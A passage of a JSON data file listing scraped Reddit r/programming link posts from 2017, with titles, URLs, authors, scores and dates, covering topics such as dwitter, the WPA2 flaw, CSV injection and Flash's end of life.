    "url": "https://wiki.theory.org/index.php/YourLanguageSucks",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7m8770",
  "url": "https://www.dwitter.net/top",
  "permalink": "https://www.reddit.com/r/programming/comments/7m8770/til_theres_a_community_called_dwitter_where/",
  "title": "TIL there's a community called \"dwitter\" where people compose 140 character JavaScript programs that produce interesting visuals",
  "body": null,
  "author": "bemmu",
  "subreddit": "programming",
  "score": 20703,
  "upvoteRatio": 0.94,
  "numComments": 329,
  "createdAt": "2017-12-26T15:05:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.dwitter.net/top",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7kjpuc",
  "url": "http://www.righto.com/2014/09/mining-bitcoin-with-pencil-and-paper.html",
  "permalink": "https://www.reddit.com/r/programming/comments/7kjpuc/mining_bitcoin_with_pencil_and_paper_067_hashes/",
  "title": "Mining Bitcoin with pencil and paper: 0.67 hashes per day",
  "body": null,
  "author": "aliweb",
  "subreddit": "programming",
  "score": 5107,
  "upvoteRatio": 0.93,
  "numComments": 229,
  "createdAt": "2017-12-18T07:19:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.righto.com/2014/09/mining-bitcoin-with-pencil-and-paper.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7jpik7",
  "url": "https://www.troyhunt.com/im-sorry-you-feel-this-way-natwest-but-https-on-your-landing-page-is-important/",
  "permalink": "https://www.reddit.com/r/programming/comments/7jpik7/https_on_your_landing_page_is_important/",
  "title": "HTTPS on Your Landing Page Is Important",
  "body": null,
  "author": "ponder_me_purple",
  "subreddit": "programming",
  "score": 3118,
  "upvoteRatio": 0.94,
  "numComments": 407,
  "createdAt": "2017-12-14T05:19:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.troyhunt.com/im-sorry-you-feel-this-way-natwest-but-https-on-your-landing-page-is-important/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7hhbdq",
  "url": "https://hackerone.com/vlc",
  "permalink": "https://www.reddit.com/r/programming/comments/7hhbdq/european_parliament_has_approved_budget_for_vlc/",
  "title": "European Parliament has approved budget for VLC bug bounty program",
  "body": null,
  "author": "twiggy99999",
  "subreddit": "programming",
  "score": 5436,
  "upvoteRatio": 0.95,
  "numComments": 368,
  "createdAt": "2017-12-04T13:30:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://hackerone.com/vlc",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7f11wn",
  "url": "http://tldr.sh/",
  "permalink": "https://www.reddit.com/r/programming/comments/7f11wn/tldr_pages_simplified_and_communitydriven_man/",
  "title": "TLDR pages - Simplified and community-driven man pages",
  "body": null,
  "author": "rain5",
  "subreddit": "programming",
  "score": 3130,
  "upvoteRatio": 0.94,
  "numComments": 297,
  "createdAt": "2017-11-23T17:18:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://tldr.sh/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7eqbwg",
  "url": "https://lkml.org/lkml/2017/11/21/356",
  "permalink": "https://www.reddit.com/r/programming/comments/7eqbwg/linus_torvalds_do_no_harm/",
  "title": "Linus Torvalds: “Do No Harm”",
  "body": null,
  "author": "sidcool1234",
  "subreddit": "programming",
  "score": 3954,
  "upvoteRatio": 0.92,
  "numComments": 579,
  "createdAt": "2017-11-22T11:38:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lkml.org/lkml/2017/11/21/356",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7e59fl",
  "url": "https://www.youtube.com/watch?v=QXjU9qTsYCc",
  "permalink": "https://www.reddit.com/r/programming/comments/7e59fl/how_do_computers_read_code_a_great_video/",
  "title": "How do computers read code? - A great video explaining the basics of how compilers turn high-level software into machine code",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 3082,
  "upvoteRatio": 0.95,
  "numComments": 146,
  "createdAt": "2017-11-20T01:34:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=QXjU9qTsYCc",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7deyx8",
  "url": "https://github.com/blog/2470-introducing-security-alerts-on-github",
  "permalink": "https://www.reddit.com/r/programming/comments/7deyx8/introducing_security_alerts_on_github_with_your/",
  "title": "Introducing security alerts on GitHub - With your dependency graph enabled, we’ll now notify you when we detect a vulnerability in one of your dependencies and suggest known fixes from the GitHub community",
  "body": null,
  "author": "magenta_placenta",
  "subreddit": "programming",
  "score": 4341,
  "upvoteRatio": 0.95,
  "numComments": 81,
  "createdAt": "2017-11-16T19:51:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/blog/2470-introducing-security-alerts-on-github",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_7b3tic",
  "url": "https://qz.com/1120344/200-universities-just-launched-600-free-online-courses-heres-the-full-list/",
  "permalink": "https://www.reddit.com/r/programming/comments/7b3tic/list_of_600_free_online_courses/",
  "title": "List of 600 free online courses...",
  "body": null,
  "author": "rptr87",
  "subreddit": "programming",
  "score": 3794,
  "upvoteRatio": 0.93,
  "numComments": 114,
  "createdAt": "2017-11-06T08:07:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://qz.com/1120344/200-universities-just-launched-600-free-online-courses-heres-the-full-list/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_76xvsv",
  "url": "https://daniel.haxx.se/blog/2017/10/16/polhemspriset-2017/",
  "permalink": "https://www.reddit.com/r/programming/comments/76xvsv/curls_author_is_awarded_with_the_polhemspriset/",
  "title": "cURL's author is awarded with the Polhemspriset award.",
  "body": null,
  "author": "kpenchev93",
  "subreddit": "programming",
  "score": 3635,
  "upvoteRatio": 0.93,
  "numComments": 262,
  "createdAt": "2017-10-17T11:21:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://daniel.haxx.se/blog/2017/10/16/polhemspriset-2017/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_76ohly",
  "url": "https://arstechnica.com/information-technology/2017/10/severe-flaw-in-wpa2-protocol-leaves-wi-fi-traffic-open-to-eavesdropping/",
  "permalink": "https://www.reddit.com/r/programming/comments/76ohly/severe_flaw_in_wpa2_protocol_leaves_wifi_traffic/",
  "title": "Severe flaw in WPA2 protocol leaves Wi-Fi traffic open to eavesdropping",
  "body": null,
  "author": "karptonite",
  "subreddit": "programming",
  "score": 13460,
  "upvoteRatio": 0.96,
  "numComments": 1077,
  "createdAt": "2017-10-16T05:40:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://arstechnica.com/information-technology/2017/10/severe-flaw-in-wpa2-protocol-leaves-wi-fi-traffic-open-to-eavesdropping/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_75cupe",
  "url": "http://georgemauer.net/2017/10/07/csv-injection.html",
  "permalink": "https://www.reddit.com/r/programming/comments/75cupe/the_absurdly_underestimated_dangers_of_csv/",
  "title": "The Absurdly Underestimated Dangers of CSV Injection",
  "body": null,
  "author": "Togakangaroo",
  "subreddit": "programming",
  "score": 3031,
  "upvoteRatio": 0.95,
  "numComments": 390,
  "createdAt": "2017-10-09T22:49:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://georgemauer.net/2017/10/07/csv-injection.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_74uvc7",
  "url": "https://github.com/Property404/fetlang",
  "permalink": "https://www.reddit.com/r/programming/comments/74uvc7/fetlang_fetishthemed_programming_language/",
  "title": "Fetlang - Fetish-themed programming language",
  "body": null,
  "author": "Property404",
  "subreddit": "programming",
  "score": 7232,
  "upvoteRatio": 0.88,
  "numComments": 373,
  "createdAt": "2017-10-07T13:32:07.000Z",
  "isNsfw": true,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/Property404/fetlang",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_73nnv1",
  "url": "https://youtu.be/i9bkKw32dGw",
  "permalink": "https://www.reddit.com/r/programming/comments/73nnv1/clever_way_of_skirting_game_code_quality_tests/",
  "title": "Clever way of skirting game code quality tests from the 90s (x-post /r/Games)",
  "body": null,
  "author": "redditchao999",
  "subreddit": "programming",
  "score": 5151,
  "upvoteRatio": 0.94,
  "numComments": 321,
  "createdAt": "2017-10-01T19:19:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/i9bkKw32dGw",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_73cz3k",
  "url": "https://github.com/apple/darwin-xnu",
  "permalink": "https://www.reddit.com/r/programming/comments/73cz3k/apple_opensources_ios_kernel/",
  "title": "Apple open-sources iOS kernel",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 3706,
  "upvoteRatio": 0.92,
  "numComments": 308,
  "createdAt": "2017-09-30T04:18:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/apple/darwin-xnu",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_725bbw",
  "url": "https://www.youtube.com/watch?v=A9U5wK_boYM",
  "permalink": "https://www.reddit.com/r/programming/comments/725bbw/an_indepth_explanation_of_how_a_10_year_old_bug/",
  "title": "An in-depth explanation of how a 10 year old bug in Guitar Hero was reverse-engineered and fixed without using the source code",
  "body": null,
  "author": "generalguy26",
  "subreddit": "programming",
  "score": 6530,
  "upvoteRatio": 0.94,
  "numComments": 380,
  "createdAt": "2017-09-24T14:28:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=A9U5wK_boYM",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_71uajh",
  "url": "https://code.facebook.com/posts/300798627056246/relicensing-react-jest-flow-and-immutable-js/",
  "permalink": "https://www.reddit.com/r/programming/comments/71uajh/facebook_relicensing_react_flow_immuable_js_and/",
  "title": "Facebook Relicensing React, Flow, Immuable Js and Jest",
  "body": null,
  "author": "FalseGodMoloch",
  "subreddit": "programming",
  "score": 3527,
  "upvoteRatio": 0.92,
  "numComments": 429,
  "createdAt": "2017-09-22T21:56:08.000Z",
  "isNsfw": false,
  "flair": "MIT License",
  "media": {
    "kind": "link",
    "url": "https://code.facebook.com/posts/300798627056246/relicensing-react-jest-flow-and-immutable-js/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_71phr8",
  "url": "https://medium.freecodecamp.org/how-i-hacked-hundreds-of-companies-through-their-helpdesk-b7680ddc2d4c",
  "permalink": "https://www.reddit.com/r/programming/comments/71phr8/how_i_hacked_hundreds_of_companies_through_their/",
  "title": "How I hacked hundreds of companies through their helpdesk",
  "body": null,
  "author": "grey_shirts",
  "subreddit": "programming",
  "score": 4395,
  "upvoteRatio": 0.95,
  "numComments": 210,
  "createdAt": "2017-09-22T07:35:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.freecodecamp.org/how-i-hacked-hundreds-of-companies-through-their-helpdesk-b7680ddc2d4c",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_71htzt",
  "url": "https://www.redblobgames.com/grids/hexagons/",
  "permalink": "https://www.reddit.com/r/programming/comments/71htzt/if_you_are_ever_interested_in_using_a_hexagonal/",
  "title": "If you are ever interested in using a Hexagonal Grid in your game / app / interface, I came across an absolute goldmine of an article!",
  "body": null,
  "author": "Whale_Eating_Cheese",
  "subreddit": "programming",
  "score": 7197,
  "upvoteRatio": 0.95,
  "numComments": 250,
  "createdAt": "2017-09-21T08:44:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.redblobgames.com/grids/hexagons/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_70xhvt",
  "url": "https://www.eff.org/deeplinks/2017/09/open-letter-w3c-director-ceo-team-and-membership",
  "permalink": "https://www.reddit.com/r/programming/comments/70xhvt/eff_is_resigning_from_the_w3c_due_to_drm/",
  "title": "EFF is resigning from the W3C due to DRM objections",
  "body": null,
  "author": "GeneticGenesis",
  "subreddit": "programming",
  "score": 4168,
  "upvoteRatio": 0.96,
  "numComments": 863,
  "createdAt": "2017-09-18T19:50:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.eff.org/deeplinks/2017/09/open-letter-w3c-director-ceo-team-and-membership",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_706stt",
  "url": "https://ma.tt/2017/09/on-react-and-wordpress/",
  "permalink": "https://www.reddit.com/r/programming/comments/706stt/wordpress_abandoning_react_due_to_facebook_patent/",
  "title": "WordPress abandoning React due to Facebook patent clause",
  "body": null,
  "author": "brokentyro",
  "subreddit": "programming",
  "score": 3237,
  "upvoteRatio": 0.96,
  "numComments": 493,
  "createdAt": "2017-09-15T01:42:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ma.tt/2017/09/on-react-and-wordpress/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6zeziq",
  "url": "https://www.infoworld.com/article/3223690/java/java-9-will-not-receive-long-term-support.html",
  "permalink": "https://www.reddit.com/r/programming/comments/6zeziq/oracle_will_not_provide_longterm_support_for_java/",
  "title": "Oracle will not provide long-term support for Java 9",
  "body": null,
  "author": "awsometak",
  "subreddit": "programming",
  "score": 26,
  "upvoteRatio": 0.55,
  "numComments": 67,
  "createdAt": "2017-09-11T12:13:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.infoworld.com/article/3223690/java/java-9-will-not-receive-long-term-support.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6zc22z",
  "url": "http://wgross.net/essays/give-away-your-code-but-never-your-time",
  "permalink": "https://www.reddit.com/r/programming/comments/6zc22z/give_away_your_code_but_never_your_time/",
  "title": "Give Away Your Code, But Never Your Time",
  "body": null,
  "author": "wowamit",
  "subreddit": "programming",
  "score": 26,
  "upvoteRatio": 0.53,
  "numComments": 57,
  "createdAt": "2017-09-11T00:36:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://wgross.net/essays/give-away-your-code-but-never-your-time",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6xh3xp",
  "url": "https://www.reddit.com/r/changelog/comments/6xfyfg/an_update_on_the_state_of_the_redditreddit_and/",
  "permalink": "https://www.reddit.com/r/programming/comments/6xh3xp/reddits_main_code_is_no_longer_opensource/",
  "title": "Reddit's main code is no longer open-source.",
  "body": null,
  "author": "interiot",
  "subreddit": "programming",
  "score": 15319,
  "upvoteRatio": 0.94,
  "numComments": 846,
  "createdAt": "2017-09-01T20:09:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.reddit.com/r/changelog/comments/6xfyfg/an_update_on_the_state_of_the_redditreddit_and/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6xexex",
  "url": "https://www.infoq.com/presentations/dynamic-static-typing",
  "permalink": "https://www.reddit.com/r/programming/comments/6xexex/the_unreasonable_effectiveness_of_dynamic_typing/",
  "title": "The Unreasonable Effectiveness of Dynamic Typing for Practical Programs",
  "body": null,
  "author": "yogthos",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.52,
  "numComments": 303,
  "createdAt": "2017-09-01T14:37:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.infoq.com/presentations/dynamic-static-typing",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6x6fw0",
  "url": "https://blogs.skype.com/tips/2017/08/25/how-to-have-technical-and-coding-interviews-over-skype/",
  "permalink": "https://www.reddit.com/r/programming/comments/6x6fw0/skype_delivers_new_feature_for_skype_interviews/",
  "title": "Skype delivers new feature for skype interviews! Now there is a code editor that allows you to run code!",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 3169,
  "upvoteRatio": 0.86,
  "numComments": 486,
  "createdAt": "2017-08-31T12:06:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blogs.skype.com/tips/2017/08/25/how-to-have-technical-and-coding-interviews-over-skype/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6whz9e",
  "url": "https://www.vincit.fi/en/blog/software-development-450-words-per-minute/",
  "permalink": "https://www.reddit.com/r/programming/comments/6whz9e/software_development_450_words_per_minute/",
  "title": "Software development 450 words per minute",
  "body": null,
  "author": "pkovanen",
  "subreddit": "programming",
  "score": 6108,
  "upvoteRatio": 0.93,
  "numComments": 288,
  "createdAt": "2017-08-28T07:51:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.vincit.fi/en/blog/software-development-450-words-per-minute/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6up39b",
  "url": "https://michael.stapelberg.de/Artikel/golang_favorite",
  "permalink": "https://www.reddit.com/r/programming/comments/6up39b/why_go_is_my_favorite_programming_language/",
  "title": "Why Go is my favorite programming language",
  "body": null,
  "author": "wowamit",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.5,
  "numComments": 263,
  "createdAt": "2017-08-19T13:38:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://michael.stapelberg.de/Artikel/golang_favorite",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6u3alr",
  "url": "https://youtu.be/9l8V_eQ6wGQ?t=5m11s",
  "permalink": "https://www.reddit.com/r/programming/comments/6u3alr/til_the_original_pokemon_games_were_written_in/",
  "title": "TIL The original Pokemon games were written in assembly.",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 5591,
  "upvoteRatio": 0.9,
  "numComments": 821,
  "createdAt": "2017-08-16T16:42:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/9l8V_eQ6wGQ?t=5m11s",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6t4iqa",
  "url": "http://save418.com/",
  "permalink": "https://www.reddit.com/r/programming/comments/6t4iqa/we_did_it_reddit_http_error_code_418_im_a_teapot/",
  "title": "We did it Reddit! HTTP Error Code 418 - \"I'm a Teapot\" will not be removed from Node, Go, Asp.net, or Python's Request. The Internet Engineering Task Force is marking HTTP 418 as reserved, cementing \"I'm a Teapot\"'s legacy for a long time to come.",
  "body": null,
  "author": "Kamatotato",
  "subreddit": "programming",
  "score": 8144,
  "upvoteRatio": 0.9,
  "numComments": 508,
  "createdAt": "2017-08-11T22:03:14.000Z",
  "isNsfw": false,
  "flair": "Hooray?",
  "media": {
    "kind": "link",
    "url": "http://save418.com/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6qdbp5",
  "url": "https://github.com/alex/what-happens-when?referrer=google.com",
  "permalink": "https://www.reddit.com/r/programming/comments/6qdbp5/what_happens_when_you_type_googlecom_in_the/",
  "title": "What happens when you type \"Google.com\" in the address bar",
  "body": null,
  "author": "JonLuca",
  "subreddit": "programming",
  "score": 3954,
  "upvoteRatio": 0.9,
  "numComments": 270,
  "createdAt": "2017-07-29T20:45:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/alex/what-happens-when?referrer=google.com",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6ph49n",
  "url": "https://blogs.adobe.com/conversations/2017/07/adobe-flash-update.html",
  "permalink": "https://www.reddit.com/r/programming/comments/6ph49n/adobe_to_endoflife_flash_by_2020/",
  "title": "Adobe to end-of-life Flash by 2020",
  "body": null,
  "author": "Pandalism",
  "subreddit": "programming",
  "score": 11545,
  "upvoteRatio": 0.94,
  "numComments": 1315,
  "createdAt": "2017-07-25T16:05:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blogs.adobe.com/conversations/2017/07/adobe-flash-update.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6p89yq",
  "url": "https://blog.marai.me/2017/07/24/18-year-old-arrested-bkk-tsystems-e-ticket/",
  "permalink": "https://www.reddit.com/r/programming/comments/6p89yq/18yo_arrested_for_reporting_a_bug_in_the_new/",
  "title": "18yo arrested for reporting a bug in the new Budapest e-Ticket system",
  "body": null,
  "author": "minusSeven",
  "subreddit": "programming",
  "score": 14026,
  "upvoteRatio": 0.94,
  "numComments": 801,
  "createdAt": "2017-07-24T13:13:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.marai.me/2017/07/24/18-year-old-arrested-bkk-tsystems-e-ticket/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6m9imx",
  "url": "https://sidbala.com/h-264-is-magic/",
  "permalink": "https://www.reddit.com/r/programming/comments/6m9imx/h264_is_magic/",
  "title": "H.264 is magic.",
  "body": null,
  "author": "CodePlea",
  "subreddit": "programming",
  "score": 3194,
  "upvoteRatio": 0.86,
  "numComments": 236,
  "createdAt": "2017-07-09T19:48:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sidbala.com/h-264-is-magic/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6lvux0",
  "url": "http://www.catonmat.net/blog/programming-competitions-work-performance/",
  "permalink": "https://www.reddit.com/r/programming/comments/6lvux0/being_good_at_programming_competitions_correlates/",
  "title": "Being good at programming competitions correlates negatively with being good on the job",
  "body": null,
  "author": "CodePlea",
  "subreddit": "programming",
  "score": 4738,
  "upvoteRatio": 0.91,
  "numComments": 469,
  "createdAt": "2017-07-07T19:02:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.catonmat.net/blog/programming-competitions-work-performance/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6khytm",
  "url": "https://www.usenix.org/system/files/1311_05-08_mickens.pdf",
  "permalink": "https://www.reddit.com/r/programming/comments/6khytm/as_a_systems_hacker_you_must_be_prepared_to_do/",
  "title": "\"As a systems hacker, you must be prepared to do savage things, unspeakable things, to kill runaway threads with your bare hands, to write directly to network ports using telnet and an old copy of an RFC that you found in the Vatican.\" THE NIGHT WATCH by James Mickens.",
  "body": null,
  "author": "mark-henry",
  "subreddit": "programming",
  "score": 3064,
  "upvoteRatio": 0.92,
  "numComments": 328,
  "createdAt": "2017-06-30T18:52:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.usenix.org/system/files/1311_05-08_mickens.pdf",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6k419t",
  "url": "https://workplace.stackexchange.com/questions/93696/is-it-unethical-for-me-to-not-tell-my-employer-i-ve-automated-my-job",
  "permalink": "https://www.reddit.com/r/programming/comments/6k419t/is_it_unethical_for_me_to_not_tell_my_employer/",
  "title": "Is it unethical for me to not tell my employer I’ve automated my job?",
  "body": null,
  "author": "grepnork",
  "subreddit": "programming",
  "score": 8671,
  "upvoteRatio": 0.94,
  "numComments": 1731,
  "createdAt": "2017-06-28T22:09:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://workplace.stackexchange.com/questions/93696/is-it-unethical-for-me-to-not-tell-my-employer-i-ve-automated-my-job",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6j8fdi",
  "url": "https://blog.mozilla.org/blog/2017/06/21/2-million-prize-decentralize-web-apply-today/",
  "permalink": "https://www.reddit.com/r/programming/comments/6j8fdi/mozilla_is_offering_2_million_of_you_can/",
  "title": "Mozilla is offering $2 million of you can architect a plan to decentralize the web",
  "body": null,
  "author": "donrhummy",
  "subreddit": "programming",
  "score": 10487,
  "upvoteRatio": 0.93,
  "numComments": 847,
  "createdAt": "2017-06-24T14:29:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
